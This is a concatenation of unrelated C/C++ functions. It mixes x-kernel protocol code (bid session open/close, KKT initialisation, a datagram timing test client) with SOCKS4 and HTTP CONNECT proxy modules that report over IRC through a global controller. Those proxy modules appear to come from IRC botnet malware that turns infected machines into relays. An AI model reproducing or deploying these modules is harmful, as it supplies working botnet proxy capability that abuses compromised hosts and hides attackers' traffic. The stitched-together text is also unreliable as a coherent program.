void CRedirectSOCKS::StartRedirect() { g_cMainCtrl.m_cIRC.SendFormat(m_bSilent, m_bNotice, m_sReplyTo.Str(), "[%s] Starting Socks4 Proxy on port %d.", \ m_sRedirectName.CStr(), m_iLocalPort); m_sListenSocket=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if(m_sListenSocket==SOCKET_ERROR) return; sockaddr_in ssin, cssin; memset(&ssin, 0, sizeof(ssin)); ssin.sin_family=AF_INET; ssin.sin_port=htons(m_iLocalPort); socklen_t clen=sizeof(cssin); if(bind(m_sListenSocket, (sockaddr*)&ssin, sizeof(ssin))!=0) { xClose(m_sListenSocket); return; } while(m_pRedirect->m_bRedirecting) { if(listen(m_sListenSocket, 10)==SOCKET_ERROR) { Sleep(250); continue; } int sClientSocket=accept(m_sListenSocket, (sockaddr*)&cssin, &clen); #ifdef DBGCONSOLE g_cMainCtrl.m_cConsDbg.Log(1, "CRedirectSOCKS(0x%8.8Xh): Accepted connection from %s...\n", this, inet_ntoa(to_in_addr(cssin.sin_addr.s_addr))); #endif if(sClientSocket!=SOCKET_ERROR && sClientSocket!=0) { CRedirectSOCKS_Thread *pTemp=new CRedirectSOCKS_Thread; pTemp->m_pRedirect=m_pRedirect; pTemp->m_pRedirSOCKS=this; pTemp->m_iLocalPort=m_iLocalPort; pTemp->m_sClientSocket=sClientSocket; pTemp->m_sReplyTo.Assign(m_sReplyTo); pTemp->m_bSilent=m_bSilent; pTemp->m_bNotice=m_bNotice; pTemp->Start(); } else { break; } } if(m_sListenSocket!=INVALID_SOCKET) xClose(m_sListenSocket); g_cMainCtrl.m_cIRC.SendFormat(m_bSilent, m_bNotice, m_sReplyTo.Str(), "[%s] Unloaded proxy on %d.", \ m_sRedirectName.CStr(), m_iLocalPort); }
void CRedirectSOCKS_Thread::StartRedirect() { char svn; if(xRead(m_sClientSocket, &svn, 1)<1) { xClose(m_sClientSocket); return; } switch(svn) { case 69: break; case 4: { struct socks4_hdr hdr4; sockaddr_in addrHost; int sServer; if(xRead(m_sClientSocket,&hdr4.cd,sizeof(hdr4)-2)<1) { xClose(m_sClientSocket); return; } if(hdr4.cd==SOCKS4_CONNECT) { memset(&addrHost, 0, sizeof(addrHost)); addrHost.sin_family=AF_INET; addrHost.sin_port=hdr4.destport; addrHost.sin_addr.s_addr=hdr4.destaddr; sServer=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if(connect(sServer,(sockaddr*)&addrHost, sizeof(addrHost))==SOCKET_ERROR) { hdr4.vn=0; hdr4.cd=SOCKS4_REJECT; memset(&hdr4.userid, 0, 1024); xWrite(m_sClientSocket, (char*)&hdr4, 8); xClose(m_sClientSocket); return; } hdr4.vn=0; hdr4.cd=SOCKS4_GRANT; memset(&hdr4.userid, 0, 1024); xWrite(m_sClientSocket, (char*)&hdr4, 8); int iLen; char szBuf[1024]; fd_set fd; SET_SOCK_BLOCK(m_sClientSocket, 0); SET_SOCK_BLOCK(sServer, 0); while(true) { iLen=xRead(sServer, szBuf, sizeof(szBuf)); if(!iLen) break; if(iLen<0 && ERRNO!=EWOULDBLOCK) { Sleep(10); continue; } xWrite(m_sClientSocket, szBuf, iLen); iLen=xRead(m_sClientSocket, szBuf, sizeof(szBuf)); if(!iLen) break; if(iLen<0 && ERRNO!=EWOULDBLOCK) { Sleep(10); continue; } xWrite(sServer, szBuf, iLen); } xClose(m_sClientSocket); xClose(sServer); } } break; default: break; } }
static xkern_return_t bidClose( XObj self) { XObj myProtl = xMyProtl(self); PState *ps = (PState *)myProtl->state; SState *ss = (SState *)self->state; XObj lls; Part_s part; xTrace0(bidp, TR_MAJOR_EVENTS, "bid Close"); lls = xGetDown(self, 0); if ( mapRemoveBinding(ps->activeMap, self->binding) == XK_FAILURE ) { xAssert(0); return XK_FAILURE; } partInit(&part, 1); partPush(part, &ss->peer, sizeof(ss->peer)); if ( xOpenDisable(myProtl, myProtl, xGetDown(myProtl, BID_CTL_I), &part) == XK_FAILURE ) { xTrace0(bidp, TR_ERRORS, "bidClose couldn't openDisable cntrl protl"); } xAssert(xIsSession(lls)); xClose(lls); xDestroy(self); return XK_SUCCESS; }
static XObj bidOpen( XObj self, XObj hlpRcv, XObj hlpType, Part p, Path path) { XObj s; PState *ps = (PState *)self->state; ActiveKey key; xTrace0(bidp, TR_MAJOR_EVENTS, "bidOpen"); if ( (key.lls = xOpen(self, self, xGetDown(self, 0), p, path)) == ERR_XOBJ ) { xTrace0(bidp, TR_MAJOR_EVENTS, "bid could not open lls"); return ERR_XOBJ; } if ( (key.hlpNum = relProtNum(hlpType, self)) == -1 ) { xTrace0(bidp, TR_ERRORS, "bid open couldn't get hlpNum"); xClose(key.lls); return ERR_XOBJ; } if ( mapResolve(ps->activeMap, &key, &s) == XK_SUCCESS ) { xTrace0(bidp, TR_MAJOR_EVENTS, "bid open found existing sessn"); xClose(key.lls); return s; } s = bidCreateSessn(self, hlpRcv, hlpType, &key, path); if ( s == ERR_XOBJ ) { xClose(key.lls); return ERR_XOBJ; } xTrace1(bidp, TR_DETAILED, "bidOpen returning %x", s); return s; }
xkern_return_t kkt_init( XObj self) { XObj llp; Part_s p; IPhost myHost; PSTATE *ps; xTrace0(kktp, TR_FULL_TRACE, "init called"); if (thisprotocol != ERR_XOBJ) panic("Only one instance of KKT is allowed"); if ( ! (self->state = ps = pathAlloc(self->path, sizeof(PSTATE))) ) { xTrace0(kktp, TR_ERRORS, "allocation errors in init"); return XK_FAILURE; } llp = xGetDown(self, 0); if (!xIsProtocol(llp)) { panic("KKT has no lower protocol"); } /* self->opendone = saveServerSessn; */ self->calldemux = serverCallDemux; self->demux = clientDemux; partInit(&p, 1); partPush(p, ANY_HOST, 0); if (xOpenEnable(self, self, llp, &p) == XK_FAILURE) { panic("KKT can't openenable lower protocol"); } else { xTrace0(kktp, TR_FULL_TRACE, "KKT xopenenable(%d) OK"); } if (xControl(xGetDown(self, 0), GETMYHOST, (char *)&myHost, sizeof(IPhost)) < (int)sizeof(IPhost)) { panic("KKT couldn't get local address"); } xTrace4(kktp, TR_FULL_TRACE, "local IP address: %u %u %u %u", (unsigned) myHost.a, (unsigned) myHost.b, (unsigned) myHost.c, (unsigned) myHost.d); /* * Determine some parameters which are typically session dependent. * To do so, I open the loopback session, with the assumption that * it's no different from a real node-to-node session (I don't * care about IP being out of the loop: it means that something else * does provide fragmentation). */ { Part_s participants[2], *p; unsigned int attr = 1; /* random */ XObj lls; p = &participants[0]; partInit(p, 2); partPush(*p, &attr, sizeof(attr)); partPush(*p, &myHost, sizeof(myHost)); lls = xOpen(self, self, xGetDown(self, 0), p, self->path); if (lls == ERR_XOBJ) { xTrace0(kktp, TR_ERRORS, "KKT can't open lower protocol"); return XK_FAILURE; } if (xControl(lls, GETMAXPACKET, (char *)&ps->max_length, sizeof(ps->max_length)) < sizeof(ps->max_length)) { xTrace0(kktp, TR_ERRORS, "KKT can't get maximum length. Using default"); ps->max_length = MAX_LENGTH_DEFAULT; } xClose(lls); } ps->max_length -= KKT_STACK_SIZE; ps->max_length = MIN(MAX_LENGTH_ABSOLUTE, ps->max_length); /* * Unlock threads waiting for initialization to finish. */ thisprotocol = self; if (nap_to_node_name(myHost, &_node_self) != XK_SUCCESS) { panic("KKT could not get node name resolution for local address"); } assert(_node_self != NODE_NAME_NULL); thread_wakeup((event_t)&thisprotocol); return XK_SUCCESS; }
static void client( Event ev, void *arg ) { Part_s participants, *p; XObj self = (XObj)arg; XObj llp; PState *ps = (PState *)self->state; int testNumber = 0, len, count, lenindex, noResponseCount = 0; long port = SERVERPORT; xAssert(xIsXObj(self)); xTrace1(prottest, TR_ALWAYS, "sending to %s", ipHostStr(&ps->server)); printf("DGRAM timing test\n"); llp = xGetDown(self, 0); if ( ! xIsProtocol(llp) ) { xError("Test protocol has no lower protocol"); return; } printf("I am the client\n"); if ( ps->delay ) { xTrace1(prottest, TR_ALWAYS, "Delaying %d seconds", ps->delay); Delay( ps->delay * 1000 ); } self->demux = clientDemux; p = &participants; partInit(p, 1); partPush(*p, &ps->server, sizeof(IPhost)); partPush(*p, &port, sizeof(long)); ps->lls = xOpen(self, self, llp, p, self->path); if ( ps->lls == ERR_XOBJ ) { printf("%s test: open failed!\n", PROT_STRING); xError("End of test"); return; } /* * HACK! client will steal an event thread that it will not return * for a while. */ if ( xkPolicyFixedFifo(&ps->dgramtest_priority, sizeof(ps->dgramtest_priority)) != XK_SUCCESS ) { printf("WARNING: xk_service_thread is being TIMESHARED!\n"); } /* * Delay to allow incoming messages to finalize opens (if necessary) */ Delay(1000); for (lenindex = 0; lenindex < sizeof(lens)/sizeof(long) || ps->loop; lenindex++) { if (lenindex >= sizeof(lens)/sizeof(long)) { lenindex = 0; } len = lens[lenindex]; #ifdef VERBOSE printf("Sending (%d, [%c]) ...\n", ++testNumber, ps->mark); #endif /* VERBOSE */ count = tryPush(self, ps->lls, xk_trips, len); if ( count == xk_trips ) { #ifdef VERBOSE printf("\n[%c] len = %4d, %d trips: %6d.%06d\n", ps->mark, len, xk_trips, ps->nettime.sec, ps->nettime.usec); #endif /* VERBOSE */ } if ( count == 0 ) { if ( noResponseCount++ == FAILURE_LIMIT ) { printf("Server looks dead. I'm outta here.\n"); break; } } else { noResponseCount = 0; } Delay(DELAY * 1000); } printf("[%c] End of test\n", ps->mark); xClose(ps->lls); ps->lls = 0; xTrace0(prottest, TR_FULL_TRACE, "test client returns"); out: { /* * restore the event priority! */ int new_priority = XK_EVENT_THREAD_PRIORITY; if ( xkPolicyFixedFifo(&new_priority, sizeof(new_priority)) != XK_SUCCESS ) { printf("WARNING: xk_service_thread is being lost!\n"); } } }
void CRedirectHTTP_Thread::StartRedirect() { m_sServerSocket=INVALID_SOCKET; m_iConnections=0; int iErr=1; bool bFinished=false; while(!bFinished) { url uURL; char szBuffer[MAX_PATH]; bool bGet=false; // Receive the proxy request if(!recv_line_irc(m_sClientSocket, szBuffer, MAX_PATH, NULL)) { bFinished=true; break; } CString sBuffer(szBuffer); // Fail if there is no url // if(!sBuffer.Token(1, " ").Compare("")) { bFinished=true; break; } if(!sBuffer.Compare("")) { bFinished=true; break; } if(!sBuffer.Token(0, " ").CompareNoCase("GET")) { // GET method bGet=true; // Parse the url if(!ParseURL(sBuffer.Token(1, " ").CStr(), &uURL)) { bFinished=true; break; } // Fail if the protocol isnt http if(uURL.sProto.Compare("http")) { bFinished=true; break; } } else if(!sBuffer.Token(0, " ").CompareNoCase("CONNECT")) { // CONNECT method bGet=false; // Parse the host uURL.sProto.Assign("connect"); uURL.sReq.Assign(""); uURL.sHost.Assign(sBuffer.Token(1, " ").Token(0, ":")); if(!sBuffer.Token(1, " ").Token(1, ":").CStr()) { bFinished=true; break; } uURL.iPort=atoi(sBuffer.Token(1, " ").Token(1, ":").CStr()); if(!uURL.iPort) uURL.iPort=80; } // Get the rest of the request CString sMethod(sBuffer.Token(0, " ")); if(!sMethod.Compare("")) { bFinished=true; break; } CString sHTTPVer(sBuffer.Token(2, " ")); if(!sHTTPVer.Compare("")) { bFinished=true; break; } CString sOldHost(uURL.sHost); #ifdef DBGCONSOLE if(bGet) g_cMainCtrl.m_cConsDbg.Log(5, "CRedirectHTTP(0x%8.8Xh): %s %s %s...\n", m_pRedirHTTP, sMethod.CStr(), uURL.sReq.CStr(), sHTTPVer.CStr()); else g_cMainCtrl.m_cConsDbg.Log(5, "CRedirectHTTP(0x%8.8Xh): %s %s:%d %s...\n", m_pRedirHTTP, sMethod.CStr(), uURL.sHost.CStr(), uURL.iPort, sHTTPVer.CStr()); #endif char szBuf[4096]; strcpy(szBuf, "bla"); if(bGet) { if(xRead(m_sClientSocket, szBuf, sizeof(szBuf))<1) { xClose(m_sClientSocket); return; } } else { while(strcmp(szBuf, "")) // Loop while headers arent finished if(!recv_line_irc(m_sClientSocket, szBuf, 4096, NULL)) { bFinished=true; break; } if(bFinished) break; } CString sReqBuf; if(bGet) sReqBuf.Format("%s %s %s\r\n%s", sMethod.CStr(), uURL.sReq.CStr(), sHTTPVer.CStr(), szBuf); else sReqBuf.Format("HTTP/1.0 200 Connection established\r\n\r\n"); m_sServerSocket=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if(m_sServerSocket==SOCKET_ERROR || m_sServerSocket==INVALID_SOCKET) { xClose(m_sClientSocket); return; } // Fill in sockaddr and resolve the host sockaddr_in ssin; memset(&ssin, 0, sizeof(ssin)); ssin.sin_family=AF_INET; ssin.sin_port=htons(uURL.iPort); ssin.sin_addr.s_addr=ResolveAddress(uURL.sHost.CStr()); if(ssin.sin_addr.s_addr==INADDR_NONE) // The host couldn't be resolved, exit { #ifdef DBGCONSOLE g_cMainCtrl.m_cConsDbg.Log(5, "CRedirectHTTP(0x%8.8Xh): %s could not be resolved (%s)...\n", m_pRedirHTTP, uURL.sHost.CStr(), uURL.sReq.CStr()); #endif xClose(m_sClientSocket); xClose(m_sServerSocket); return; } // Connect to the server iErr=connect(m_sServerSocket, (sockaddr*)&ssin, sizeof(sockaddr_in)); if(iErr==SOCKET_ERROR) // Connect failed, exit { #ifdef DBGCONSOLE g_cMainCtrl.m_cConsDbg.Log(5, "CRedirectHTTP(0x%8.8Xh): Cannot connect to %s:%d (%s)...\n", m_pRedirHTTP, uURL.sHost.CStr(), uURL.iPort, uURL.sReq.CStr()); #endif xClose(m_sClientSocket); xClose(m_sServerSocket); return; } if(bGet) { iErr=xWrite(m_sServerSocket, sReqBuf.CStr(), sReqBuf.GetLength()); if(!iErr || iErr==SOCKET_ERROR) { xClose(m_sClientSocket); xClose(m_sServerSocket); return; } } else { iErr=xWrite(m_sClientSocket, sReqBuf.CStr(), sReqBuf.GetLength()); if(!iErr || iErr==SOCKET_ERROR) { xClose(m_sClientSocket); xClose(m_sServerSocket); return; } } int iLen; fd_set fd; SET_SOCK_BLOCK(m_sClientSocket, 0); SET_SOCK_BLOCK(m_sServerSocket, 0); if(bGet) { while(true) { memset(szBuffer, 0, sizeof(szBuffer)); if(!recv_line_irc(m_sClientSocket, szBuffer, sizeof(szBuffer), NULL)) { Sleep(10); break; } if(strcmp(szBuffer, "")) { sBuffer.Assign(szBuffer); if(!sBuffer.Token(0, " ").Compare("GET")) { // Fail if there is no url if(!sBuffer.Token(1, " ").Compare("")) { bFinished=true; break; } // Parse the url if(!ParseURL(sBuffer.Token(1, " ").CStr(), &uURL)) break; // Fail if the protocol isnt http if(uURL.sProto.Compare("http")) { bFinished=true; break; } // Get the rest of the request CString sMethod(sBuffer.Token(0, " ")); if(!sMethod.Compare("")) { bFinished=true; break; } CString sHTTPVer(sBuffer.Token(2, " ")); if(!sHTTPVer.Compare("")) { bFinished=true; break; } sBuffer.Format("%s %s %s\r\n", sMethod.CStr(), uURL.sReq.CStr(), sHTTPVer.CStr()); if(uURL.sHost.Compare(sOldHost)) { xClose(m_sServerSocket); m_sServerSocket=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if(m_sServerSocket==SOCKET_ERROR || m_sServerSocket==INVALID_SOCKET) { xClose(m_sClientSocket); return; } // Fill in sockaddr and resolve the host sockaddr_in ssin; memset(&ssin, 0, sizeof(ssin)); ssin.sin_family=AF_INET; ssin.sin_port=htons(uURL.iPort); ssin.sin_addr.s_addr=ResolveAddress(uURL.sHost.CStr()); if(ssin.sin_addr.s_addr==INADDR_NONE) // The host couldn't be resolved, exit { #ifdef DBGCONSOLE g_cMainCtrl.m_cConsDbg.Log(5, "CRedirectHTTP(0x%8.8Xh): %s could not be resolved (%s)...\n", m_pRedirHTTP, uURL.sHost.CStr(), uURL.sReq.CStr()); #endif xClose(m_sClientSocket); xClose(m_sServerSocket); return; } // Connect to the server iErr=connect(m_sServerSocket, (sockaddr*)&ssin, sizeof(sockaddr_in)); if(iErr==SOCKET_ERROR) // Connect failed, exit { #ifdef DBGCONSOLE g_cMainCtrl.m_cConsDbg.Log(5, "CRedirectHTTP(0x%8.8Xh): Cannot connect to %s:%d (%s)...\n", m_pRedirHTTP, uURL.sHost.CStr(), uURL.iPort, uURL.sReq.CStr()); #endif xClose(m_sClientSocket); xClose(m_sServerSocket); return; } sOldHost.Assign(uURL.sHost); } } else { sBuffer.Append("\r\n"); } if(xWrite(m_sServerSocket, sBuffer.CStr(), sBuffer.GetLength())<1) break; } iLen=xRead(m_sServerSocket, szBuf, sizeof(szBuf)); if(!iLen) break; if(iLen<0 && ERRNO!=EWOULDBLOCK) { Sleep(10); break; } xWrite(m_sClientSocket, szBuf, iLen); } } else { while(true) { iLen=xRead(m_sClientSocket, szBuf, sizeof(szBuf)); if(!iLen) break; if(iLen<0 && ERRNO!=EWOULDBLOCK) { Sleep(10); break; } xWrite(m_sServerSocket, szBuf, iLen); iLen=xRead(m_sServerSocket, szBuf, sizeof(szBuf)); if(!iLen) break; if(iLen<0 && ERRNO!=EWOULDBLOCK) { Sleep(10); break; } xWrite(m_sClientSocket, szBuf, iLen); } } xClose(m_sClientSocket); xClose(m_sServerSocket); bFinished=true; } }